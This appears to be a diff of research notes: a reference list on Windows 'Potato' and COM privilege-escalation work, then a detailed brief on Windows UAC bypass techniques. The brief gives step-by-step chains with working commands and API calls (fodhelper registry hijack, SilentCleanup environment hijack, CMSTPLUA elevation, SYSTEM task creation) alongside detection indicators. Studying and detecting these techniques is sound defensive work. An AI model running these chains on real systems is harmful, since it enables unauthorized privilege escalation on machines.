- GhostPotato (Shenanigans Labs) — https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
|
||||||
|
- GenericPotato — https://micahvandeusen.com/the-power-of-seimpersonation/
|
||||||
|
- RemotePotato0 / Relaying Potatoes (SentinelOne) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
|
||||||
|
- CertPotato (SensePost) — https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/
|
||||||
|
- Awesome-potatoes study notes — https://github.com/bodik/awesome-potatoes ; "In the Potato family, I want them all" — https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all ; Potatoes overview — https://jlajara.gitlab.io/Potatoes_Windows_Privesc
|
||||||
|
|
||||||
|
**Trapped COM ecosystem:**
|
||||||
|
- IBM X-Force: Fileless lateral movement with trapped COM objects — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects ; ForsHops — https://github.com/xforcered/ForsHops
|
||||||
|
- Abusing IDispatch for Trapped COM Object Access & Injecting into PPL Processes (Mohamed Fakroud) — https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes ; PoC — https://github.com/T3nb3w/ComDotNetExploit
|
||||||
|
- Outflank: Accelerating Offensive R&D with LLMs (alternative trapped-object classes) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/
|
||||||
|
- RemoteMonologue (IBM X-Force, DCOM NTLM coercion) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
|
||||||
|
|
||||||
|
**Other COM LPE CVEs:**
|
||||||
|
- NCC Group Fox-IT: CVE-2019-1405 and CVE-2019-1322 — Elevation to SYSTEM via UPnP Device Host and Update Orchestrator — https://www.fox-it.com/be-en/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
|
||||||
|
- CVE-2020-1362 WalletService writeup — https://github.com/Q4n/CVE-2020-1362
|
||||||
|
- CVE-2017-0213 advisory/exploit — https://www.exploit-db.com/exploits/42020/ ; analysis — https://xz.aliyun.com/t/148/
|
||||||
|
- CVE-2018-0952 DiagHub PoC — https://github.com/atredispartners/CVE-2018-0952-SystemCollector ; DiagHub case-sensitivity EoP — https://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve
|
||||||
|
- Intro to privileged file operation abuse (OffSec/Almond) — https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html
|
||||||
|
- Troopers19: Abusing privileged file operations — https://troopers.de/downloads/troopers19/TROOPERS19_AD_Abusing_privileged_file_operations.pdf
|
||||||
|
- DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape (hack.lu 2025 slides) — https://d3lb3.github.io/assets/hacklu_2025.pdf
|
||||||
|
- COMRace (USENIX Security '22) — talk https://www.youtube.com/watch?v=9bBh2YEqVMA ; BHEU 2024 RPC/COM vuln discovery — https://www.youtube.com/watch?v=VQiQuLo0v58
|
||||||
|
- bohops: Abusing COM Registry Structure pt.1 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ ; pt.2 — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
|
||||||
|
**Microsoft docs (impersonation contract):**
|
||||||
|
- CoSetProxyBlanket — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cosetproxyblanket
|
||||||
|
- CoQueryClientBlanket — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coqueryclientblanket
|
||||||
|
- CoImpersonateClient — https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coimpersonateclient
|
||||||
|
- Cloaking — https://learn.microsoft.com/en-us/windows/win32/com/cloaking
|
||||||
|
- RPC_C_IMP_LEVEL enumeration — https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-rpc_imp_level
|
||||||
|
- KB5004442 / CVE-2021-26414 DCOM hardening — https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-979ed901b716
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Research confidence & loose ends:**
|
||||||
|
- HIGH confidence: all CLSIDs/IIDs quoted (verified against primary sources or multiple corroborating sources), DiagHub/USO/Trapped-COM workflows (read in full from primary blogs), potato mechanisms and build ranges, CVE mappings (2015-2370, 2017-0100, 2017-0298, 2017-0213/0214, 2019-0555, 2019-1405/1322, 2020-1362, 2023-21746).
|
||||||
|
- MEDIUM confidence (marked in-line where used): PrintSpoofer's current per-build patch status (was unpatched at release; later spooler hardening varies — "verify on target build"); SweetPotato's exact internal method list per release version; GodPotato's internal description (author says "rpcss OXID defects," some third parties mischaracterize it as pure named-pipe — use the DCOM-callback family description shared with DCOMPotato/PrintNotifyPotato).
|
||||||
|
- The two GPZ blogspot URLs that failed automated fetch (DiagHub blog, PrintSpoofer blog) were verified via their projectzero.google mirror / extensive secondary sources respectively; all technical claims quoted above come from the full primary text where accessible.
|
||||||
@@ -0,0 +1,260 @@
|
|||||||
|
RESEARCH BRIEF — WINDOWS UAC BYPASS (MITRE ATT&CK T1548.002: Abuse Elevation Control Mechanism — Bypass User Account Control)
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
1. EXECUTIVE SUMMARY
|
||||||
|
======================================================================
|
||||||
|
User Account Control (UAC, introduced in Windows Vista) forces even administrator accounts to run with a "filtered" standard-user token until a process explicitly requests elevation. A "UAC bypass" is any technique that obtains a High-integrity / full-admin process WITHOUT the interactive consent or credential prompt. Key framing facts:
|
||||||
|
|
||||||
|
- Microsoft explicitly does NOT treat UAC as a hard security boundary, so most bypasses never receive CVEs or patches. MSRC reply quoted in public research: "we don't consider UAC a hard security boundary, but rather, a customizable enhancement..." (MSRC case 64957, per Stefan Kanthak; see Microsoft Security Servicing Criteria, aka.ms/windowscriteria).
|
||||||
|
- The reference implementation corpus is the open-source UACME project (hfiref0x), which documents 82 numbered methods; as of v3.7.x (2026), roughly 25+ remain "unfixed," working on Windows 10/11 including 24H2-era builds.
|
||||||
|
- At least 60 named threat groups/malware families use T1548.002 in the wild (MITRE): LockBit 2.0/3.0, BlackCat, Avaddon (CMSTPLUA), BADHATCH (CMSTPLUA + SilentCleanup), Raspberry Robin and Saint Bot (fodhelper), ZeroT/Pupy (eventvwr), WarzoneRAT (sdclt + IFileOperation), KONNI (token impersonation/SSPI — bypasses even "Always Notify"), APT38 (ieinstal.exe), Downdelph (RedirectEXE shim), etc.
|
||||||
|
- One UAC-dialog UI flaw DID get a CVE: CVE-2019-1388 (Windows Certificate Dialog EoP), now in CISA's Known Exploited Vulnerabilities catalog.
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
2. UAC INTERNALS — WHAT IS BEING BYPASSED
|
||||||
|
======================================================================
|
||||||
|
2.1 Core components and elevation flow
|
||||||
|
- LSASS (lsass.exe): at interactive logon of a "protected administrator" (Admin Approval Mode), creates TWO linked tokens: the full-privilege token and a filtered (restricted) token with admin SIDs/privileges stripped. Explorer.exe and all default children run on the filtered token at Medium integrity.
|
||||||
|
- Application Information service (Appinfo; appinfo.dll inside svchost, historically `C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo`; per-service hosting on Win10 1703+). This is the elevation broker. When CreateProcess fails with ERROR_ELEVATION_REQUIRED (740) — e.g., a manifest with `requestedExecutionLevel level="requireAdministrator"` or `ShellExecuteEx` with `lpVerb="runas"` — the request is forwarded to AppInfo over a local RPC/ALPC interface. James Forshaw documented the AppInfo RPC interface UUID {201ef99a-7fa0-444c-9399-19ba84f12a1a} and the RAiLaunchAdminProcess call (Google Project Zero blog, "Calling Local Windows RPC Servers", Dec 2019).
|
||||||
|
- consent.exe: the Consent UI, launched by AppInfo as NT AUTHORITY\SYSTEM at System integrity, displayed on the Secure Desktop (a separate Winlogon desktop where only SYSTEM-trusted processes can render/receive input, defeating UI spoofing — unless disabled via PromptOnSecureDesktop=0).
|
||||||
|
- On approval, AppInfo creates the elevated process (High integrity, full token). On denial, nothing runs.
|
||||||
|
|
||||||
|
2.2 Token model / integrity levels (Mandatory Integrity Control)
|
||||||
|
Integrity level SIDs (S-1-16-x): Untrusted=0, Low=4096 (0x1000), Medium=8192 (0x2000), Medium Plus=8448 (0x2100), High=12288 (0x3000), System=16384 (0x4000), Protected=20480 (0x5000).
|
||||||
|
Relevant token APIs/enums: TOKEN_ELEVATION_TYPE { TokenElevationTypeDefault=1, TokenElevationTypeFull=2, TokenElevationTypeLimited=3 }; TokenLinkedToken, TokenIntegrityLevel, TokenElevation via GetTokenInformation/NtQueryInformationToken; NtFilterToken (used to build the filtered token); UIPI (User Interface Privilege Isolation) blocks lower-IL processes from sending window messages to higher-IL windows unless the sender's manifest sets `uiAccess="true"` and it is signed + in a secure location.
|
||||||
|
|
||||||
|
2.3 Policy registry (all under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System)
|
||||||
|
- EnableLUA (1 default; 0 = UAC off entirely, breaks Store apps)
|
||||||
|
- ConsentPromptBehaviorAdmin: 0=Elevate without prompting, 1=Prompt for credentials on secure desktop, 2=Prompt for consent on secure desktop ("Always notify" slider), 3=Prompt for credentials, 4=Prompt for consent, 5=Prompt for consent for non-Windows binaries (DEFAULT)
|
||||||
|
- ConsentPromptBehaviorUser: 0=Auto-deny, 1=Prompt for credentials on secure desktop, 3=Prompt for credentials (default)
|
||||||
|
- PromptOnSecureDesktop (1 default), EnableInstallerDetection, ValidateAdminCodeSignatures (0 default), EnableSecureUIAPaths (1 default), EnableVirtualization (1 default), FilterAdministratorToken (0 default — built-in Administrator has NO split token and auto-elevates everything; UAC bypass is moot there), EnableUIADesktopToggle
|
||||||
|
- LocalAccountTokenFilterPolicy (0 default) — "Remote UAC" token filtering for local accounts over the network (relevant to lateral movement; Shamoon modified registry to weaken this)
|
||||||
|
- Slider mapping: Always notify = CPBA 2/POSD 1; Default = CPBA 5/POSD 1; No-dim = CPBA 5/POSD 0; Never notify = CPBA 0/POSD 0. (Microsoft Learn "User Account Control settings and configuration"; classic TechNet dd835564.)
|
||||||
|
- COMAutoApprovalList: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList — CLSIDs approved for silent COM elevation (see §4.2). Consent.exe consults this list.
|
||||||
|
|
||||||
|
2.4 Auto-elevation (the "backdoor" everyone abuses)
|
||||||
|
Since Windows 7, to reduce prompt fatigue, a process auto-elevates with NO prompt when ALL hold: (a) its manifest has `autoElevate="true"` (or it is on AppInfo's internal auto-approve EXE list, e.g., mmc.exe), (b) it resides in a trusted secure directory (%SystemRoot%\System32 and similar), (c) it is signed by Microsoft/Windows publisher, and (d) policy is at default (CPBA=5). Additional surfaces: approved COM classes (COMAutoApprovalList) and certain scheduled tasks running "with highest privileges." EVERY bypass family below poisons one of these trust inputs: what the binary resolves (registry associations), what it loads (DLLs), where it "lives" (mock dirs), or what environment it inherits.
|
||||||
|
|
||||||
|
2.5 The COM Elevation Moniker (documented Microsoft feature)
|
||||||
|
`CoGetObject(L"Elevation:Administrator!new:{CLSID}", &bind_opts, riid, &ppv)` with BIND_OPTS3.dwClassContext = CLSCTX_LOCAL_SERVER requests an out-of-process, elevated COM server. For classes on the COMAutoApprovalList, activation from a Medium-IL caller on default UAC is silent. (Microsoft Learn: "The COM Elevation Moniker".)
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
3. TECHNIQUE CATALOG — STEP-BY-STEP ATTACK CHAINS
|
||||||
|
(UACME method numbers referenced as [UACME #n]; "fixed in" data from the UACME v3.7.x README)
|
||||||
|
======================================================================
|
||||||
|
|
||||||
|
3.1 REGISTRY SHELL-ASSOCIATION HIJACKS (fileless; the most popular family)
|
||||||
|
Generic principle: an auto-elevating EXE internally ShellExecutes a protocol/file association. The per-user hive HKCU\Software\Classes overrides HKLM\Software\Classes, is writable at Medium IL, and the elevated process reads the attacker's verb command, executing it with the inherited HIGH-integrity token. No prompt, no file copy into protected paths.
|
||||||
|
|
||||||
|
A) fodhelper.exe → ms-settings (Windows 10 10240 → Windows 11, STILL UNFIXED per UACME #33/#67/#70; discovered by winscripting.blog, May 12 2017)
|
||||||
|
Steps:
|
||||||
|
1. `reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\path\payload.exe" /f`
|
||||||
|
2. `reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f` (emptying DelegateExecute is critical — otherwise the verb is routed to the registered COM handler and your (Default) command is ignored)
|
||||||
|
3. Launch `C:\Windows\System32\fodhelper.exe` (Manage Optional Features; manifest autoElevate=true, MS-signed, System32) → it queries the ms-settings: protocol verb → executes payload at High IL.
|
||||||
|
4. Cleanup: `reg delete "HKCU\Software\Classes\ms-settings" /f`.
|
||||||
|
Variants: pure shell-protocol hijack [UACME #67, Arush Agarampur]; ProgID-based [UACME #70, V3ded]. Field status: functional on Win10/11 in 2024–2026 reporting (reliability varies by build/AV; ExploitWorldDev marks "partial" on some 22H2 builds). Used by Earth Lusca, Raspberry Robin, Saint Bot, KOCTOPUS.
|
||||||
|
|
||||||
|
B) computerdefaults.exe → ms-settings (same key as above) [UACME #62, winscripting.blog; works from Win10 RS4 17134, UNFIXED]
|
||||||
|
|
||||||
|
C) eventvwr.exe → mscfile (Windows 7–10; FIXED in Win10 RS2/1703 build 15031+ when Event Viewer was redesigned; Matt Nelson/enigma0x3 + Matt Graeber, Aug 15 2016)
|
||||||
|
Steps: set `HKCU\Software\Classes\mscfile\shell\open\command` (Default) = payload → run `%WINDIR%\System32\eventvwr.exe` → eventvwr launches mmc.exe eventvwr.msc, shell resolves mscfile verb from HKCU → payload High IL. Clean up key. Metasploit: exploit/windows/local/bypassuac_eventvwr (authors M. Nelson, M. Graeber, OJ Reeves). Used by ZeroT, Pupy, Koadic, BitPaymer (which also set HKCU\Software\Classes\ms-settings on Win10), Grandoreiro (registered as default .MSC handler).
|
||||||
|
|
||||||
|
D) sdclt.exe — three waves:
|
||||||
|
1. App Paths (Win10 10240–16215; FIXED RS3): `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` (Default)=payload; sdclt (Backup & Restore control panel launcher, auto-elevate) ShellExecutes "control.exe", which the shell resolves via the user-writable App Paths key. (enigma0x3, "Bypassing UAC using App Paths", Mar 14 2017) [UACME #29]
|
||||||
|
2. Folder/isolated-command (10240–17025; FIXED RS4): hijack `HKCU\Software\Classes\Folder\shell\open\command`; sdclt's elevated folder launch resolves the Folder association from HKCU. (enigma0x3, "'Fileless' UAC Bypass using sdclt.exe", Mar 17 2017) [UACME #31]
|
||||||
|
3. ShellRegMod variant (Win10 14393+, listed UNFIXED in UACME #53; Emeric Nasi/sevagas, "Yet another sdclt UAC bypass").
|
||||||
|
|
||||||
|
E) WSReset.exe → ms-windows-store AppID (Win10 17134/1803–1809; FIXED Win11 22000 for #56; protocol variant #68 by Arush Agarampur UNFIXED from 17763)
|
||||||
|
Steps: `HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command` (Default)=payload + `DelegateExecute`="" → run `C:\Windows\System32\WSReset.exe` (auto-elevate) → payload High IL. (Hashim Jawad, "Fileless UAC Bypass in Windows Store Binary", activecyber.us, Mar 2019; Atomic Red Team T1548.002 test #23; Splunk "WSReset UAC Bypass" analytic.)
|
||||||
|
|
||||||
|
F) Related registry surfaces: slui.exe/changepk.exe [UACME #45 fixed 19041; #61 UNFIXED from 14393]; COM handler hijack under HKCU\Software\Classes\CLSID\{...} against mmc.exe/recdisc.exe [#40/#47, fixed 19H1 18362]; BitlockerWizardElev race [#46, fixed RS4].
|
||||||
|
|
||||||
|
3.2 ELEVATED COM INTERFACE ABUSE
|
||||||
|
Mechanics: CoInitializeEx → build moniker `Elevation:Administrator!new:{CLSID}` → CoGetObject with BIND_OPTS3 (CLSCTX_LOCAL_SERVER) → call a method on the returned high-IL interface.
|
||||||
|
|
||||||
|
A) CMSTPLUA / ICMLuaUtil — the workhorse [UACME #41, Oddvar Moe; works Win7 7600 → present, UNFIXED]
|
||||||
|
- CLSID_CMSTPLUA = {3E5FC7F9-9A51-4367-9063-A120244FBEC7} (COM class implemented by cmluautil.dll/CMSTPLUA)
|
||||||
|
- IID_ICMLuaUtil = {6EDD6D74-C007-4E75-B76A-E5740995E24C}
|
||||||
|
- Method signature (undocumented; vtable slot after 6 placeholder methods):
|
||||||
|
`HRESULT ShellExec(LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow)`
|
||||||
|
- Chain: CoGetObject("Elevation:Administrator!new:{3E5FC7F9-...}") → ICMLuaUtil::ShellExec(L"C:\\Windows\\System32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW) → elevated process, no prompt on default UAC.
|
||||||
|
- Modern wrinkle (2024–2026 research, codedintrusion/g3tsyst3m): on current Win10/11 builds, real-world loaders add PEB masquerading (overwrite PEB ImagePathName/FullPath to pose as a trusted binary such as explorer.exe/conhost.exe) before CoGetObject, because AppInfo scrutinizes the caller; also documented: ICMLuaUtil::CallCustomActionDll for running arbitrary DLL exports elevated. Observed in the JDownloader supply-chain malware (2026), FudCrypt, Avaddon, BADHATCH, LockBit 3.0.
|
||||||
|
|
||||||
|
B) IFileOperation — privileged file copy primitive [underpins UACME #1–#3, #8, #10, #12–#23, #57, #77; Leo Davidson lineage; UNFIXED]
|
||||||
|
- CLSID_FileOperation = {3AD05575-8857-4850-9277-11B85BDB8E09} (documented SDK constant), interface IFileOperation (shobjidl_core.h).
|
||||||
|
- Elevated via the moniker; SetOperationFlags(FOFX_SILENT | FOF_NOCONFIRMATION | FOFX_NOCONFIRMMKDIR | FOF_NOERRORUI), CopyItem(src, destFolder, NULL, NULL), PerformOperations() → copies attacker DLL INTO %SystemRoot%\System32 (or sysprep dir) from a Medium-IL process. This is the classic "privileged copy" that arms the DLL-hijack family (§3.3). WarzoneRAT uses IFileOperation on older OSes.
|
||||||
|
|
||||||
|
C) ElevatedFactoryServer → Task Scheduler (fileless, can yield SYSTEM directly) [UACME #74, zcgonvh; works Win8.1 9600+, UNFIXED]
|
||||||
|
- CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}") → IElevatedFactoryServer (IID {804bd226-af47-4d71-b492-443a57610b08}; InProcServer32 class → surrogate/dllhost activation governed by HKLM\SOFTWARE\Classes\AppID\{A6BFEA43-...} LaunchPermission/AccessPermission SDs)
|
||||||
|
- `ServerCreateInstance({0f87369f-a4e5-4cfc-bd3e-73e6154572dd} /* CLSID TaskScheduler */, IID_IUnknown)` → elevated ITaskService → register a task whose XML `<Principal><UserId>SYSTEM</UserId><RunLevel>HighestAvailable</RunLevel>` → command runs as SYSTEM. Entirely in-memory/fileless.
|
||||||
|
|
||||||
|
D) Other auto-approved elevated COM interfaces (from UACME): ISecurityEditor (Simda #5 — turn off UAC via HKLM writes; also Native Image Cache poison #63/#71, UNFIXED), IFwCplLua (#42 fixed RS4; #66 fixed 24H2), IColorDataProxy + dccw.exe (#43, UNFIXED), ISPPLUAObject (#48, fixed RS5), IEditionUpgradeManager via clipup.exe + %windir% hijack (#58, Win10 14393 → fixed 24H2), IARPUninstallStringLauncher (#27, fixed RS3 16199), IIEAxiAdminInstaller/IIEAxiInstaller2 (IE add-on cache, #64, UNFIXED), IDiagnosticProfile (#75, UNFIXED), IWscAdmin shell-protocol (#65, fixed 24H2), ICreateNewLink/TpmInit (#49, fixed RS1 — note: "consent.exe COMAutoApprovalList introduction" killed it), UICleanmgrAdminHelper/UICleanmgrHelper via SystemSettingsAdminFlows.exe (#82, Win10 19041+, UNFIXED — newest method, v3.7.0).
|
||||||
|
|
||||||
|
3.3 DLL HIJACK / SIDE-LOAD INTO AUTO-ELEVATED BINARIES (usually armed via IFileOperation or mock dirs)
|
||||||
|
Pattern: find MS-signed auto-elevate EXE that imports a DLL NOT in KnownDlls by unqualified name → drop same-named DLL where the loader searches first (app dir / SxS DotLocal / WOW64 logger path) → elevated EXE loads attacker DLL. Historical/target list (component hijacked): sysprep.exe: cryptbase.dll (Win7–8.1, #1), dbgcore.dll (#12), unbcl.dll import-forwarding (#17), Actionqueue.dll (#8), unattend.dll (#57), ShCore.dll (#2), comctl32.dll via SxS .local (#21) — all fixed variously 9600–16232; cliconfg.exe: ntwdblib.dll (#7/#15, fixed RS1 — used by Operation Honeybee); migwiz.exe/mcx2prov.exe via wusa.exe /extract: cryptbase/cryptsp/wdscore (#6, fixed TH1 when WUSA /extract was removed; ShimRat hijacked cryptbase.dll in migwiz); winsat.exe: powprof.dll/devobj.dll (#10); consent.exe itself: comctl32.dll DotLocal (#22 — fixed only in Win11 24H2/25H2!); dccw.exe: GdiPlus.dll via SxS+NTFS junction (#36/#37, SandboxEscaper race, fixed 24H2); mmc.exe EventVwr.msc: elsext.dll (#13); mmc.exe Rsop.msc: WbemComn.dll (#20); mmc.exe: atl.dll (#77, UNFIXED); inetmgr.exe: MsCoree.dll (#19) / SLC.dll (#16); credwiz.exe/oobe.exe: netutils.dll (#14); GWXUXWorker.exe: SLC.dll (#16); pkgmgr.exe: DismCore.dll (#23, UNFIXED since Win7!); msdt.exe (SysWOW64)/sdiagnhost.exe: BluetoothDiagnosticUtil.dll (#72, Emeric Nasi, UNFIXED); iscsicpl.exe (SysWOW64): iscsiexe.dll (#76, UNFIXED); SystemPropertiesAdvanced.exe: srrstr.dll via %LocalAppData%\Microsoft\WindowsApps (#54, egre55, fixed 19H1); taskhostw.exe: pcadm.dll (#69, fixed 24H2) / PerformanceTraceHandler.dll (#80, Win11 26100→fixed 25H2); WOW64 logger wow64log.dll into any elevated 32-bit EXE (#30, fixed 24H2/25H2).
|
||||||
|
.NET profiler variant [UACME #39, Stefan Kanthak, UNFIXED]: set per-user env `COR_ENABLE_PROFILING=1`, `COR_PROFILER={GUID}`, `COR_PROFILER_PATH=C:\...\evil.dll` under HKCU\Environment → launch auto-elevated .NET process (mmc.exe) → CLR loads the "profiler" DLL elevated. (Splunk ".NET Profiler UAC bypass" analytic watches HKCU\Environment\COR_PROFILER_PATH.)
|
||||||
|
AppVerifier/IFEO variant [#9]: IFEO "VerifierDlls" value → attacker DLL loaded by elevated processes.
|
||||||
|
|
||||||
|
3.4 MOCK TRUSTED DIRECTORIES (path-normalization desync) [UACME #52, David Wells/Tenable 2020; worked Win7 7600 → FIXED Win11 24H2/25H2 via appinfo changes]
|
||||||
|
Root cause: AppInfo validates the trusted-directory requirement with `GetLongPathNameW`-normalized path + `RtlPrefixUnicodeString`, but creates the process with the ORIGINAL path. Create `C:\Windows \System32` (trailing space) — impossible in Explorer; use `md "\\?\C:\Windows \System32"` — then copy an auto-elevate EXE (e.g., easinvoker.exe — Exchange ActiveSync Invoker) plus its hijackable DLL (netutils.dll) inside. The trust check sees "C:\Windows\System32\..." (space stripped) → auto-elevates → loads attacker DLL at High IL. In-the-wild: DBatLoader/ModiLoader dropping Remcos RAT/Formbook (SentinelOne/Zscaler 2023, adding C:\Users to Defender exclusions), Fickle Stealer (fake WmiMgmt.msc + MMC en-US localization lookup). Detection note from SentinelOne: alert on any execution path containing trailing spaces, especially `\Windows \`.
|
||||||
|
|
||||||
|
3.5 ENVIRONMENT VARIABLE / SCHEDULED TASK ABUSE
|
||||||
|
A) SilentCleanup + %windir% hijack (enigma0x3, "Bypassing UAC on Windows 10 using Disk Cleanup", Jul 22 2016; generalized by James Forshaw, "Exploiting Environment Variables in Scheduled Tasks for UAC Bypass", May 2017) [UACME #34 — listed UNFIXED and AlwaysNotify-compatible, though field reports show the SilentCleanup-specific vector mitigated on later Win10 builds; version-dependent]
|
||||||
|
Steps: `reg add hkcu\Environment /v windir /d "cmd.exe /c <payload> & rem "` → `schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I` → the task's action `%windir%\system32\cleanmgr.exe ...` is expanded in the USER context at High IL → payload runs elevated. Works because the per-user environment overrides the machine variable during task action expansion.
|
||||||
|
B) DiskCleanup dismhost race (#26, Win10 10240→fixed RS2 15031): cleanmgr copies dismhost.exe+DLLs to %TEMP%\{GUID}; win the race to overwrite LogProvider.dll in a user-writable temp dir before the High-IL dismhost loads it.
|
||||||
|
C) Volatile env per-user SystemDirectory overrides (#44, bytecode77, fixed RS3 16299); clipup.exe+IEditionUpgradeManager %windir% (#58, fixed 24H2); RequestTrace scheduled task (#80); QuickAssist.exe EmbeddedBrowserWebView.dll + env/UIPI combo (#81, Win10 19041+, AlwaysNotify-compatible, UNFIXED).
|
||||||
|
|
||||||
|
3.6 TOKEN MANIPULATION / IMPERSONATION / APPINFO PROTOCOL ABUSE
|
||||||
|
- Token modification [UACME #35, "CIA & James Forshaw"; Win7→FIXED RS5 17686 by an added SeTokenCanImpersonate check in ntoskrnl]: duplicate the filtered token, flip it back to full via NtSetInformationToken-style manipulation, spawn elevated process. AlwaysNotify-compatible.
|
||||||
|
- SSPI datagram contexts (#78, antonioCoco/splintercod3, "Bypassing UAC with SSPI Datagram Contexts"; requires non-blank password; partially patched ~Win10 19041/2024): coerce a local elevated context via SSPI datagram RPC — the technique class KONNI used to bypass UAC even at "Always Notify."
|
||||||
|
- RAiLaunchAdminProcess + DebugObject [UACME #59, James Forshaw; Win7 7600+, UNFIXED]: abuse AppInfo's ALPC launch path with a debug object to inherit an elevated process.
|
||||||
|
- APPINFO command-line spoofing [UACME #38, Clement Rouault "hakril"; Win7+, UNFIXED]: craft a process whose path spoof satisfies AppInfo's whitelist parsing (mmc.exe + trailing arguments), so AppInfo itself launches attacker content elevated ("UAC Bypass or story about three escalations", habrahabr).
|
||||||
|
|
||||||
|
3.7 UIPI / uiAccess GUI HACKS
|
||||||
|
- #32 (xi-tauw; UNFIXED): hijack duser.dll/osksupport.dll into osk.exe / then leverage uiAccess to drive an elevated window.
|
||||||
|
- #55/#79 (Forshaw/Kanthak; fixed RS5 17763 + 2024 hardening): duplicate/modify a UIAccess token, lower IL, keep uiAccess → send synthetic input across IL boundary (fixed by stripping UIAccess when IL is lowered). Targets osk.exe, msconfig.exe, mmc.exe.
|
||||||
|
|
||||||
|
3.8 DIALOG/UI FLAW — CVE-2019-1388 (the exception that got a CVE)
|
||||||
|
"Windows Certificate Dialog Elevation of Privilege Vulnerability" (patched Nov 12, 2019; CISA KEV since Apr 2023; CWE-269). Root cause: consent.exe runs as SYSTEM, and its "Show information about the publisher's certificate" dialog rendered a live "Issued by" hyperlink. Chain: launch any unsigned app with runas → Show more details → publisher certificate → click issuer URL → a browser opens in the ELEVATED (SYSTEM) context → File→Save As → in the dialog address bar type `C:\Windows\System32\cmd.exe` → SYSTEM shell. Affects Win7 SP1→Win10 1709 and Server 2008R2→2019 (unpatched). PoC: github.com/nobodyatall648/CVE-2019-1388.
|
||||||
|
|
||||||
|
3.9 APPCOMPAT / MISC
|
||||||
|
RedirectEXE shim (#4; Downdelph built custom SDBs; fixed via KB3045645/KB3048097 + sdbinst auto-elevation removal), shim memory patch (#11), InfDefaultInstall whitelist (#28 — MS14-060/Sandworm; removed from g_lpAutoApproveEXEList), auto-elevate manifest trick on manifest-less MS EXEs (taskhost/tzsync, #18, fixed RS1 14371), .NET deserialization in Event Viewer (#73, orange_8361+antonioCoco, fixed 24H2 by EventViewer redesign).
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
4. CONSOLIDATED IOC / ARTIFACT TABLES
|
||||||
|
======================================================================
|
||||||
|
Registry keys (writes = high-fidelity signal):
|
||||||
|
- HKCU\Software\Classes\ms-settings\Shell\Open\command [(Default), DelegateExecute] — fodhelper/computerdefaults/slui-family
|
||||||
|
- HKCU\Software\Classes\mscfile\shell\open\command — eventvwr
|
||||||
|
- HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe — sdclt (legacy)
|
||||||
|
- HKCU\Software\Classes\Folder\shell\open\command — sdclt v2/v3
|
||||||
|
- HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command — WSReset
|
||||||
|
- HKCU\Software\Classes\CLSID\{...} (InprocServer32/handler redirects) — COM handler hijack
|
||||||
|
- HKCU\Environment [windir, COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH] — SilentCleanup/.NET profiler
|
||||||
|
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System [EnableLUA, ConsentPromptBehaviorAdmin→0, PromptOnSecureDesktop→0] — UAC weakening (needs existing admin)
|
||||||
|
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe> [VerifierDlls]
|
||||||
|
- (reference/defense) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList
|
||||||
|
CLSID/IID watchlist: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} CMSTPLUA; IID {6EDD6D74-C007-4E75-B76A-E5740995E24C} ICMLuaUtil; {3AD05575-8857-4850-9277-11B85BDB8E09} FileOperation; {A6BFEA43-501F-456F-A845-983D3AD7B8F0} ElevatedFactoryServer; IID {804bd226-af47-4d71-b492-443a57610b08} IElevatedFactoryServer; {0f87369f-a4e5-4cfc-bd3e-73e6154572dd} TaskScheduler; string "Elevation:Administrator!new:".
|
||||||
|
